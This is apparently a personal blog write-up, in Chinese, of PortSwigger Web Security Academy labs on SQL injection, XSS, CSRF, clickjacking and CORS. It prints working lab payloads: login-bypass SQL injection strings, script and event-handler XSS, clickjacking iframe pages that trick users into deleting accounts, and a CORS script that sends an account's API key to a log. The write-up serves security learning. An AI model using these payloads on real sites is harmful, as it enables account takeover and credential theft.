PortSwigger靶场记录

未分类
2.7k 词

Portswigger记录

SQL injection

Cross-site scripting

CSRF

Clickjacking

CORS

SSRF

参考

PortSwigger

SQL injection

1.SQL injection vulnerability allowing login bypass

允许绕过登录的 SQL 注入漏洞

根据描述找到注入点，和目标——以administrator登录

接下来涉及功能点的测试

发送Username为administrator',administrator"等的请求，会发现administrator'的请求返回了500

猜测可能得检验语句为：

SELECT * FROM users WHERE username = 'aaa' AND password = 'bbb'

尝试通过注释将密码的筛选过滤掉，这样就能在不知道密码的情况下通过检验

SELECT * FROM users WHERE username = 'administrator'-- AND password = 'bbb'

结果发现需要令牌

1
Invalid CSRF token (session does not contain a CSRF token)

这边主要是cookie中session不一致的问题？ 总之直接在给的网页环境输入administrator’—和随便一个密码即可

image-20240527141834598

2.SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

WHERE 子句中允许检索隐藏数据的 SQL 注入漏洞

本实验在产品类别筛选器中包含一个 SQL 注入漏洞。当用户选择类别时，应用程序将执行如下所示的 SQL 查询：

1
SELECT * FROM products WHERE category = 'Gifts' AND released = 1

若要解决实验室问题，请执行 SQL 注入攻击，使应用程序显示一个或多个未发布的产品。

进入实验环境观察各个类别，能看到点击分类会输入分类名

而根据描述，分类名后还有个released，也就是筛选已经发布的产品

想要通过sql注入显示未发布产品，就是在分类名处进行操作

即category = ''or 1 = 1 --'

如此一来执行的语句为

1
2
SELECT * FROM products 
WHERE category = ''or 1=1-- ' AND released = 1

这样就注入成功了，能看到有20个，比原本12个多

image-20240527144458137

3.SQL injection attack, querying the database type and version on Oracle

本实验在产品类别筛选器中包含一个 SQL 注入漏洞。您可以使用 UNION 攻击从注入的查询中检索结果。

若要求解实验室，请显示数据库版本字符串。

注入点和sql2类似，也是在category的位置进行操作

Cross-site scripting

1.Reflected XSS into HTML context with nothing encoded

本实验在搜索功能中包含一个简单的反射式跨站点脚本漏洞。

若要解决实验室问题，请执行调用该函数alert的跨站点脚本攻击。

反射XSS

进去给了个搜索框，在搜索框里写入

<script>alert(1)</script>

然后点击搜索，会发现

image-20240527172413346

攻击成功

2.Stored XSS into HTML context with nothing encoded

存储型XSS

通过留言框注入

image-20240527180336531

再次访问这个留有注入内容的博客，就会执行命令了

文档中的 DOM XSS.使用 source location.search 编写接收器

DOM型XSS

进入靶机环境，F12，在输入框输入内容

image-20240527182806266

可以发现每次搜索框的内容在搜索后都进入了img元素

来构造一个payload 123"><script>alert(3)</script>"

（和sql注入的技巧类似），通过">闭合img元素，然后再拼接输入恶意代码，点击搜索，就会弹出警告框了。

image-20240527183149302

用 source location.search in innerHTML sink 中的 DOM XSS。

同样的路子，发现输入的东西被放到了span里

image-20240527190120361

那么根据 HTML 规范，内联元素（如 <span>）不能包含块级元素或特殊标签（如 <script>）

那就得换个别的

比如说

1
2
3
4
5
6
// 语法：onload，当页面载入完毕后执行 Javascript 代码，该事件不可取消
<svg onload=alert(4)>
<span id="searchMessage"><svg onload="alert(4)"></svg></span>

// 语法：onerror，当资源加载失败或无法使用时，触发onerror事件，因为前面的 src 为空，那意味着肯定会触发事件
<img src='' onerror="alert(4)">

image-20240527190100075

Cross-site request forgery

1.CSRF vulnerability with no defenses

此实验室的电子邮件更改功能容易受到 CSRF 的攻击。

为了解决实验室问题，请制作一些使用 CSRF 攻击的 HTML 来更改查看者的电子邮件地址并将其上传到您的漏洞利用服务器。

您可以使用以下凭据登录自己的帐户：wiener:peter

用给的账号密码登录，然后就会跳转到更改邮箱界面，根据描述，此处就是攻击点。

随便输个新的试试

image-20240528141846462

没啥问题

image-20240528141948914

用bp去抓包拦截

image-20240528150044862

用bp自带的功能去生成进行csrf攻击的脚本（这里得用pro版本）

这里生成了一个可以进行csrf攻击的html

image-20240528150231008

Go to exploit server（漏洞利用服务器）

将攻击的内容放入请求的body中，查看漏洞/传递给受害者，回到原本的页面就会发现邮箱被更改了，一次比较简陋的csrf攻击就完成了。

2.CSRF where token validation depends on request method

令牌验证取决于请求方法的 CSRF（意思是令牌验证只在部分请求方法上有效果）

此实验室的电子邮件更改功能容易受到 CSRF 的攻击。它试图阻止 CSRF 攻击，但仅对某些类型的请求应用防御。

若要解决该实验，请使用漏洞利用服务器托管一个 HTML 页面，该页面使用 CSRF 攻击来更改查看者的电子邮件地址。

和第一题的场景类似，但是这次加上了token，

同样的步骤去抓包，可以看到post的参数里多了个csrf，这就是token

image-20240528153153588

根据题目描述，很显然POST请求添加了token验证，直接用POST请求生成攻击脚本时不行的，但是GET请求没有被限制

所以，将请求转换成GET然后生成脚本即可

image-20240528154007699

当然，这里的csrf（token）其实是不需要的，因为GET压根不验证这玩意儿，所以有没有都无所谓

3.CSRF where token validation depends on token being present

CSRF，其中令牌验证取决于令牌的存在

延续上一题的思路，根据题目的意思，其意思就是没token就不验证了。

尝试一下，抓包然后删除csrf（token）去生成攻击脚本

image-20240528155629108

通过。

4.CSRF where token is not tied to user session

令牌与用户会话无关的 CSRF

此实验室的电子邮件更改功能容易受到 CSRF 的攻击。它使用令牌来尝试防止 CSRF 攻击，但它们没有集成到站点的会话处理系统中。

需要做的是从其中一个用户（wiener）的位置修改另一个用户（carlos）的邮箱

接下来就是一段猜测+测试的过程

很显然前面的2个方法是不行的（改变请求方法，删除token），而根据实验的名字，攻击的重点在于令牌与用户会话无关，翻译过来就是只要是个token就行，谁的token没啥所谓。

从这一点出发，我们直接在攻击者这边生成个脚本，然后去获取被攻击者的token，将token值放进脚本即可完成攻击（这边注意不要用bp拦截，因为拦token会刷新，而关闭拦截进行攻击时拿来的token就已经刷新了，直接f12找）。

Clickjacking

Basic clickjacking with CSRF token protection

具有 CSRF 令牌保护的基本点击劫持

本实验包含登录功能和受 CSRF 令牌保护的删除帐户按钮。用户将点击在诱饵网站上显示“点击”一词的元素。

要解决实验问题，请制作一些 HTML 来构建帐户页面并欺骗用户删除其帐户。删除帐户后，实验室将得到解决。

删除账户需要令牌，本实验需要利用Clickjacking让用户删除自己用户（在未知的情况下）

攻击脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<style>
		   iframe {
		        position:relative;
		        width: 500px;
		        height: 700px;
		        opacity: 0.1;
		        z-index: 2;
		    }
		    div {
		        position:absolute;
		        top:600px;
		        left:60px;
		        z-index: 1;
		    }
</style>
		<div>Click</div>
		<iframe src="https://0a0f002f0415314c80e00d4800c70021.web-security-academy.net/my-account"></iframe>

效果

image-20240529131125814

将透明度从0.1调成0，就会导致整个界面只有一个Click，如果用户出于各种原因点击Click，就会删除自己的账户。

2.Clickjacking with form input data prefilled from a URL parameter2

使用从 URL 参数预填充的表单输入数据进行点击劫持

该实验的目标是通过使用 URL 参数预填充表单并诱使用户无意中单击“更新电子邮件”按钮来更改用户的电子邮件地址。

为了解决这个实验，制作一些 HTML 来构建帐户页面，并通过单击“单击我”诱饵来欺骗用户更新他们的电子邮件地址。更改电子邮件地址后，实验室将得到解决。

本实验需要修改邮箱，而修改邮箱显然需要一个新的邮箱地址

URL 参数预填充技术，指的是在GET请求的参数中携带部分数据，在进行此请求后就会将这些数据放入表单中，类似场景比如用户反馈表单会根据账户信息预填充表单，节省用户时间等等。

因此，将上一题的脚本进行修改，加入email参数，用于更改电子邮箱

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<style>
		   iframe {
		        position:relative;
		        width: 500px;
		        height: 700px;
		        opacity: 0.1;
		        z-index: 2;
		    }
		    div {
		        position:absolute;
		        top:520px;
		        left:60px;
		        z-index: 1;
		    }
</style>
		<div>Click</div>
		<iframe src="https://0a69004a042940e28295bf4b00df00fc.web-security-academy.net/my-account?email=dasda@com"></iframe>

效果如下：

image-20240529132944414

可以看到email处自动填充了参数里的内容

Cross-origin resource sharing

1.CORS vulnerability with basic origin reflection

该网站具有不安全的 CORS 配置，因为它信任所有源。

要解决该实验问题，请制作一些使用 CORS 检索管理员的 API 密钥并将代码上传到漏洞利用服务器的 JavaScript。当您成功提交管理员的 API 密钥时，实验室就解决了。

信任源为*导致的漏洞

需要获得管理员的key，登录账号可以发现自己账号的apikey

bp里翻看一下HTTP历史

image-20240529182332515

能看到apikey的获得是通过/accountDetails

那么想要获得管理员的apikey

1
2
3
4
5
6
7
8
9
10
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0a6200ec03a042fe80153a2c0041009a.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

access log

在里面找到

image-20240529183418131

反编译获得apikey

image-20240529183434006

req.withCredentials = true;表示请求应该发送凭证（如 Cookies、授权头等），即使是跨域请求

再通过回调函数reqListener在日志中得到

问题有点多，有点不太明白为什么会是拿到管理员的，获得apikey的操作为什么是有管理员的参与

2.CORS vulnerability with trusted null origin

信任源为null导致的漏洞

利用iframe

（感觉有点瓶颈了

Server-side request forgery

参考

跛一一 - 博客园 (cnblogs.com)